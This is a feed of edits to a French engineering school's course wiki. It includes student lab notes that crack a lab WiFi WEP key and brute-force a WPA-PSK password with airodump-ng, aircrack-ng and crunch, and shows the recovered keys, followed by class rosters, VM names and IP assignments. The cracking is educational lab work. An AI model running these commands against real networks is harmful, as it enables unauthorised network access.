        # Supprimer les fichiers de la liste de suppression&lt;br /&gt;
        for file_name in files_to_remove:&lt;br /&gt;
            os.remove(file_name)&lt;br /&gt;
&lt;br /&gt;
# Point d'entrée du script&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    main()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Résultats renvoyés par le programme de reconnaissance ==&lt;br /&gt;
[[Fichier:20231220 173733.jpg|vignette|Une colle à reconnaitre]]&lt;br /&gt;
[[Fichier:20231220 173650.jpg|gauche|vignette|Aucun objet à reconnaitre]]&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE5_2023/2024_E6&amp;diff=3883</id>
		<title>Atelier SysRes SE5 2023/2024 E6</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE5_2023/2024_E6&amp;diff=3883"/>
		<updated>2024-01-16T16:36:23Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : /* Effraction WiFi */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Effraction WiFi ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
WiFi : cracotte07&lt;br /&gt;
&lt;br /&gt;
BSSID : 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
interface réseau (zabeth07) : wlan0mon&lt;br /&gt;
&lt;br /&gt;
cmd lancée : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng --bssid 04:DA:D2:9C:50:56 -w output wlan0&lt;br /&gt;
aircrack-ng -b 04:DA:D2:9C:50:56 output*.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:Crack clef WEP.png|vignette|1561x1561px|néant]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Clef trouvée''' :  FF:FF:FF:FF:FA:BC:08:CB:AE:EE:EE:EE:EE&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute ===&lt;br /&gt;
WiFi : kracotte10&lt;br /&gt;
&lt;br /&gt;
BSSID : 44:AD:D9:5F:87:09&lt;br /&gt;
&lt;br /&gt;
Création d'un dictionnaire à l'aide de crunch&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
crunch 8 8 0123456789 dico.txt  $Création du dico&lt;br /&gt;
airodump-ng --bssid 44:AD:D9:5F:87:09 -w output_10 wlan0mon $Récupération des paquets WiFi&lt;br /&gt;
aircrack-ng -b 44:AD:D9:5F:87:09 -w dico.txt output_10*.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;[[Fichier:Crack wifi wpa.png|sans_cadre|762x762px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Clef trouvée''' : 66686666&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE5_2023/2024_E6&amp;diff=3848</id>
		<title>Atelier SysRes SE5 2023/2024 E6</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE5_2023/2024_E6&amp;diff=3848"/>
		<updated>2024-01-16T16:06:32Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : /* Effraction WiFi */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Effraction WiFi ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
WiFi : cracotte04&lt;br /&gt;
&lt;br /&gt;
BSSID : 04:DA:D2:9C:50:53&lt;br /&gt;
&lt;br /&gt;
interface réseau (zabeth07) : wlan0mon&lt;br /&gt;
&lt;br /&gt;
cmd lancée : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng --bssid 04:DA:D2:9C:50:56 -w output wlan0&lt;br /&gt;
aircrack-ng -b 04:DA:D2:9C:50:56 output*.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:Crack clef WEP.png|vignette|1561x1561px|néant]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Clef trouvée''' :  FF:FF:FF:FF:FA:BC:08:CB:AE:EE:EE:EE:EE&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute ===&lt;br /&gt;
WiFi : kracotte10&lt;br /&gt;
&lt;br /&gt;
BSSID : 44:AD:D9:5F:87:09&lt;br /&gt;
&lt;br /&gt;
Création d'un dictionnaire à l'aide de crunch&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
crunch 8 8 0123456789 dico.txt  $Création du dico&lt;br /&gt;
airodump-ng --bssid 44:AD:D9:5F:87:09 -w output_10 wlan0mon $Récupération des paquets WiFi&lt;br /&gt;
aircrack-ng -b 44:AD:D9:5F:87:09 -w dico.txt output_10*.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;[[Fichier:Crack wifi wpa.png|sans_cadre|762x762px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Clef trouvée''' : 66686666&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE5_2023/2024_E6&amp;diff=3846</id>
		<title>Atelier SysRes SE5 2023/2024 E6</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE5_2023/2024_E6&amp;diff=3846"/>
		<updated>2024-01-16T16:05:34Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Effraction WiFi ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
WiFi : cracotte04&lt;br /&gt;
&lt;br /&gt;
BSSID : 04:DA:D2:9C:50:53&lt;br /&gt;
&lt;br /&gt;
interface réseau (zabeth07) : wlan0mon&lt;br /&gt;
&lt;br /&gt;
cmd lancée : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng --bssid 04:DA:D2:9C:50:56 -w output wlan0&lt;br /&gt;
aircrack-ng -b 04:DA:D2:9C:50:56 output*.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:Crack clef WEP.png|vignette|1705x1705px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Clef trouvée''' :  FF:FF:FF:FF:FA:BC:08:CB:AE:EE:EE:EE:EE&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute ===&lt;br /&gt;
WiFi : kracotte10&lt;br /&gt;
&lt;br /&gt;
BSSID : 44:AD:D9:5F:87:09&lt;br /&gt;
&lt;br /&gt;
Création d'un dictionnaire à l'aide de crunch&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
crunch 8 8 0123456789 dico.txt  $Création du dico&lt;br /&gt;
airodump-ng --bssid 44:AD:D9:5F:87:09 -w output_10 wlan0mon $Récupération des paquets WiFi&lt;br /&gt;
aircrack-ng -b 44:AD:D9:5F:87:09 -w dico.txt output_10*.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''Clef trouvée''' : 66686666&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Crack_wifi_wpa.png&amp;diff=3845</id>
		<title>Fichier:Crack wifi wpa.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Crack_wifi_wpa.png&amp;diff=3845"/>
		<updated>2024-01-16T16:03:59Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;crack wifi wpa krakotte10&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Crack_clef_WEP.png&amp;diff=3842</id>
		<title>Fichier:Crack clef WEP.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Crack_clef_WEP.png&amp;diff=3842"/>
		<updated>2024-01-16T15:56:21Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;crack clef wep cracotte4&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_syst%C3%A8me/r%C3%A9seau_2023/2024&amp;diff=3767</id>
		<title>SE5 système/réseau 2023/2024</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_syst%C3%A8me/r%C3%A9seau_2023/2024&amp;diff=3767"/>
		<updated>2024-01-15T07:06:28Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : /* Répartition des binômes en PRA */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= PRA SE5 =&lt;br /&gt;
&lt;br /&gt;
== Menu de la première séance ==&lt;br /&gt;
&lt;br /&gt;
Pour la  première séance du 06/10/2023 il vous est demandé d'effectuer individuellement les opérations listées ci-dessous.&lt;br /&gt;
* création d'une machine virtuelle sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; ;&lt;br /&gt;
* création d'un conteneur &amp;quot;à la main&amp;quot; sur votre station de travail &amp;lt;code&amp;gt;zabeth&amp;lt;/code&amp;gt; :&lt;br /&gt;
** créez un conteneur isolé au maximum (sauf pour les utilisateur) avec la méthode décrite en cours,&lt;br /&gt;
** création d'un commutateur virtuel privé sur la &amp;lt;code&amp;gt;zabeth&amp;lt;/code&amp;gt; dans le réseau IPv4 &amp;lt;code&amp;gt;192.168.68.0/24&amp;lt;/code&amp;gt;, l'adresse &amp;lt;code&amp;gt;192.168.68.1&amp;lt;/code&amp;gt; est affectée au commutateur lui-même,&lt;br /&gt;
** création d'une interface Ethernet virtuelle, une extrémité doit être envoyée dans le conteneur, l'autre dans le commutateur virtuel privé,&lt;br /&gt;
** mise en place d'une mascarade sur la &amp;lt;code&amp;gt;zabeth&amp;lt;/code&amp;gt;, vérifiez que le conteneur a accès aux mêmes machines que la  &amp;lt;code&amp;gt;zabeth&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Par binôme vous devez créer une machine virtuelle mandataire connectée sur le commutateur virtuel SE5 et sur le commutateur virtuel privé des machines virtuelles de services concernées (voir deuxième section du sujet).&lt;br /&gt;
&lt;br /&gt;
Globalement vous devez configurer le routeur principal de la promotion (voir la troisième section du sujet). Pour votre promotion il s'agit du Catalyst 9200 situé en E304. Il faut le connecter en fibre vers le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; de la E306 dans le commutateur virtuel SE5 et aussi en fibre vers le local technique SR52 sur un port dans le VLAN 531. Vous pouvez configurer le commutateur via l'utilitaire &amp;lt;code&amp;gt;minicom&amp;lt;/code&amp;gt; à partir de la machine &amp;lt;code&amp;gt;zabeth09&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Répartition des élèves pour la première séance :&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Station de travail !! Elève&lt;br /&gt;
|-&lt;br /&gt;
| zabeth02 || Elias SIMON&lt;br /&gt;
|-&lt;br /&gt;
| zabeth03 || Mathis RIFFAUT&lt;br /&gt;
|-&lt;br /&gt;
| zabeth04 || Dann RODENBURG&lt;br /&gt;
|-&lt;br /&gt;
| zabeth05 || Benjamin NGUYEN&lt;br /&gt;
|-&lt;br /&gt;
| zabeth06 || Halaoui Mohammed&lt;br /&gt;
|-&lt;br /&gt;
| zabeth07 || Blgrim Haitam&lt;br /&gt;
|-&lt;br /&gt;
| zabeth08 || Florian Vallée&lt;br /&gt;
|-&lt;br /&gt;
| zabeth09 (routeur) || Julien Charleux&lt;br /&gt;
|-&lt;br /&gt;
| zabeth10 || Amine SELLALI&lt;br /&gt;
|-&lt;br /&gt;
| zabeth11 || Paul Amoros&lt;br /&gt;
|-&lt;br /&gt;
| zabeth12 || Maël Delaby&lt;br /&gt;
|-&lt;br /&gt;
| zabeth13 || Black Baptiste&lt;br /&gt;
|-&lt;br /&gt;
| zabeth14 || Timothé Brenier&lt;br /&gt;
|-&lt;br /&gt;
| zabeth15 || Jeanne Delcourt&lt;br /&gt;
|-&lt;br /&gt;
| zabeth16 || Estelle Godard&lt;br /&gt;
|-&lt;br /&gt;
| zabeth17 || Jason DELANNOY&lt;br /&gt;
|-&lt;br /&gt;
| zabeth18 || Chloé Lemaire&lt;br /&gt;
|-&lt;br /&gt;
| zabeth19 || Gabriel THOMAS&lt;br /&gt;
|-&lt;br /&gt;
| zabeth20 || Albin MOUTON&lt;br /&gt;
|-&lt;br /&gt;
| zabeth21 || Konstantin PATRIKEEV&lt;br /&gt;
|-&lt;br /&gt;
| zabeth22 || Maxime Balbastre&lt;br /&gt;
|-&lt;br /&gt;
| zabeth26 || François NAUDOT&lt;br /&gt;
|-&lt;br /&gt;
| zabeth27 || Karl HABRE&lt;br /&gt;
|-&lt;br /&gt;
| zabeth28 || Rémi FARAULT&lt;br /&gt;
|-&lt;br /&gt;
| zabeth30 || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Répartition des binômes en PRA ==&lt;br /&gt;
&lt;br /&gt;
Concertez-vous pour trouver des noms de machines de services et de machines mandataires dans deux thèmes.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Nom machine services &lt;br /&gt;
!IP machine services !! Nom de domaine !! Nom machine mandataire &lt;br /&gt;
!IP machine mandataires!! Elève &lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E1 | Cahier n°1]]&lt;br /&gt;
| || || || || || Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E2 | Cahier n°2]]&lt;br /&gt;
| Elom|| || || Baloo|| || Elias SIMON&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E3 | Cahier n°3]]&lt;br /&gt;
| Mustafar (Mustafare)|| || mustafare.lol|| Baloo|| 193.48.57.189|| Mathis RIFFAUT&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E4 | Cahier n°4]]&lt;br /&gt;
| Dagobah|| || dagobah.lol|| Aladin|| || Dann RODENBURG&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E5 | Cahier n°5]]&lt;br /&gt;
| Motis|| || || Dingo|| || Mohammed Halaoui&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E6 | Cahier n°6]]&lt;br /&gt;
| bogano|| || bogano.lol|| Timon|| || Benjamin Nguyen&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E7 | Cahier n°7]]&lt;br /&gt;
| Takobo|| || &amp;lt;code&amp;gt;takobo.lol&amp;lt;/code&amp;gt;|| Timon|| 193.48.57.184|| Timothé Brenier&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E8 | Cahier n°8]]&lt;br /&gt;
| Fondor|| || || mushu|| 193.48.57.190|| Florian Vallée&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E9 | Cahier n°9]]&lt;br /&gt;
| hoth|| || hoth.lol|| BlancheNeige|| 193.48.57.187|| Haitam Blgrim&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E10 | Cahier n°10]]&lt;br /&gt;
| Abafar|| || abafar.lol|| Aladin|| 193.48.57.179|| Amine SELLALI&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E11 | Cahier n°11]]&lt;br /&gt;
| Rotia|| || || DIngo|| 193.48.57.181|| Rémi Farault&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E12 | Cahier n°12]]&lt;br /&gt;
| jedha|| || || judy|| 193.48.57.182|| Julien Charleux&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E13 | Cahier n°13]]&lt;br /&gt;
| Bogden|| || bodgen.lol|| BlancheNeige|| || Black Baptiste&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E14 | Cahier n°14]]&lt;br /&gt;
| endor|| 10.10.10.10|| || mickey|| 193.48.57.188 / 10.10.10.1|| Maël Delaby&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E15 | Cahier n°15]]&lt;br /&gt;
| jiruus|| 192.168.19.3|| jiruus.lol|| cruella|| || Jeanne Delcourt&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E16 | Cahier n°16]]&lt;br /&gt;
| exegol|| 192.168.19.2|| exegol.lol|| cruella|| 193.48.57.186 /&lt;br /&gt;
192.168.19.1&lt;br /&gt;
| Estelle Godard&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E17 | Cahier n°17]]&lt;br /&gt;
| Jakku|| || || Jafar|| || Jason DELANNOY&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E18 | Cahier n°18]]&lt;br /&gt;
| naboo|| 192.168.18.2|| naboo.lol|| bouh|| 193.48.57.180 / 192.168.18.1|| Chloé Lemaire&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E19 | Cahier n°19]]&lt;br /&gt;
| geonosis|| 192.168.18.3|| geonosis.lol|| bouh|| || Gabriel THOMAS&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E20 | Cahier n°20]]&lt;br /&gt;
| alderaan|| || || Jafar|| 193.48.57.183|| Albin MOUTON&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E21 | Cahier n°21]]&lt;br /&gt;
| kesh|| || || Judy|| || Konstantin Patrikeev&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E22 | Cahier n°22]]&lt;br /&gt;
| kashyyyk|| || || mushu|| || Maxime BALBASTRE&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E23 | Cahier n°23]]&lt;br /&gt;
| Felucia|| 192.168.26.2|| || Ursula|| 193.48.57.185 / 192.168.26.1|| François NAUDOT&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE5 2023/2024 E24 | Cahier n°24]]&lt;br /&gt;
| Pelagon|| 10.10.10.11|| || mickey|| 193.48.57.188 / 10.10.10.1|| Paul Amoros&lt;br /&gt;
|-&lt;br /&gt;
|[[Atelier SysRes SE5 2023/2024 E24 | Cahier n°25]]&lt;br /&gt;
|Kalee&lt;br /&gt;
|192.168.26.3&lt;br /&gt;
|kalee.lol&lt;br /&gt;
|Ursula&lt;br /&gt;
|&lt;br /&gt;
|Karl Habre&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu ==&lt;br /&gt;
&lt;br /&gt;
=== Contrôle du 20/11/2023 ===&lt;br /&gt;
&lt;br /&gt;
A noter qu'aucune machine, quelle soit de service ou mandataire, ne peut avoir accès à Internet vu qu'aucun effort n'a été fait pour relier le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; au réseau SE5.&lt;br /&gt;
&lt;br /&gt;
Machines de service.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Elève !! Nom machine !! Configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| Elom || Elias SIMON || une seule interface dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; (CV SE5), pas de configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| Mustafar|| Mathis RIFFAUT || une seule interface dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; (CV SE5), pas de configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| Dagobah|| Dann RODENBURG || une seule interface dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; (CV SE5), pas de configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| Motis || Mohammed Halaoui || une seule interface dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; (CV SE5), pas de configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| bogano || Benjamin Nguyen || une seule interface dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; (CV SE5), pas de configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| Takobo || Timothé Brenier || une seule interface dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; (CV SE5), pas de configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| Fondor || Florian Vallée || une seule interface dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; (CV SE5), pas de configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| hoth || Haitam Blgrim || une seule interface dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; (CV SE5), pas de configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| Abafar || Amine SELLALI || une seule interface dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; (CV SE5), pas de configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| Rotia || Rémi Farault || une seule interface dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; (CV SE5), pas de configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| jedha || Julien Charleux || une seule interface dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; (CV SE5), pas de configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| Bogden || Black Baptiste || une seule interface dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; (CV SE5), pas de configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| jiruus || Jeanne Delcourt || une seule interface dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; (CV SE5), pas de configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| exegol || Estelle Godard || une seule interface dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; (CV SE5), pas de configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| Jakku || Jason DELANNOY || une seule interface dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; (CV SE5), pas de configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| naboo || Chloé Lemaire || une seule interface dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; (CV SE5), pas de configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| geonosis || Gabriel THOMAS || une seule interface dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; (CV SE5), pas de configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| alderaan || Albin MOUTON || une seule interface dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; (CV SE5), pas de configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| kesh || Konstantin Patrikeev || une seule interface dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; (CV SE5), pas de configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| kashyyyk || Maxime BALBASTRE || une seule interface dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; (CV SE5), pas de configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| Felucia || François NAUDOT || une seule interface dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; (CV SE5), pas de configuration IP&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Machines mandataires.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Elèves !! Nom machine !! Configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| Elias SIMON &amp;amp; Mathis RIFFAUT || Baloo || une seule interface dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; (CV SE5), aucun CV privé, pas de configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| Dann RODENBURG &amp;amp; Amine SELLALI || Aladin || une seule interface dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; (CV SE5), aucun CV privé, pas de configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| Mohammed Halaoui &amp;amp; Rémi Farault || Dingo || une seule interface dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; (CV SE5), aucun CV privé, pas de configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| Benjamin Nguyen &amp;amp; Timothé Brenier || Timon || une seule interface dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; (CV SE5), aucun CV privé, pas de configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| Florian Vallée &amp;amp; Maxime BALBASTRE || mushu || une seule interface dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; (CV SE5), aucun CV privé, pas de configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| Haitam Blgrim &amp;amp; Black Baptiste || BlancheNeige || une seule interface dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; (CV SE5), aucun CV privé, pas de configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| Jeanne Delcourt &amp;amp; Estelle Godard || cruella || une seule interface dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; (CV SE5), aucun CV privé, pas de configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| Jason DELANNOY &amp;amp; Albin MOUTON || Jafar || une seule interface dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; (CV SE5), aucun CV privé, pas de configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| Chloé Lemaire &amp;amp; Gabriel THOMAS || bouh || une seule interface dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; (CV SE5), aucun CV privé, pas de configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| Konstantin Patrikeev &amp;amp; Julien Charleux || judy || une seule interface dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; (CV SE5), aucun CV privé, pas de configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| François NAUDOT &amp;amp; Karl HABRE || Ursula|| rien&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Liste des machines&lt;br /&gt;
&lt;br /&gt;
 Elom Mustafar dagobah Motis bogano Takobo Fondor hoth abafar Rotia jedha Bogden jiruus exegol Jakku naboo geonosis alderaan kesh kashyyyk Felucia&lt;br /&gt;
&lt;br /&gt;
 Baloo aladin Dingo Timon mushu BlancheNeige cruella Jafar bouh judy&lt;br /&gt;
&lt;br /&gt;
=== Contrôle du 03/12/2023 ===&lt;br /&gt;
&lt;br /&gt;
Le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; a été relié au réseau SE5 par &amp;lt;code&amp;gt;naboo&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Il est normal de ne pas avoir d'adresse IPv4 sur la machine de services pour l'interface sur le commutateur virtuel. Par contre, avec mise en place de la mascarade sur la machine mandataire, il doit être possible, pour la machine de services, de se connecter à Internet en IPv4.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Elève !! Nom machine !! Configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| Elom || Elias SIMON&lt;br /&gt;
| IPv4 sur CV : 10.0.69.220, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe0f:b26d, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| Mustafar|| Mathis RIFFAUT&lt;br /&gt;
| IPv4 sur CV : 10.0.69.165, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fea9:f79, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle &lt;br /&gt;
|-&lt;br /&gt;
| Dagobah|| Dann RODENBURG&lt;br /&gt;
| IPv4 sur CV : 10.0.69.205, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe53:7d33, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle &lt;br /&gt;
|-&lt;br /&gt;
| Motis || Mohammed Halaoui&lt;br /&gt;
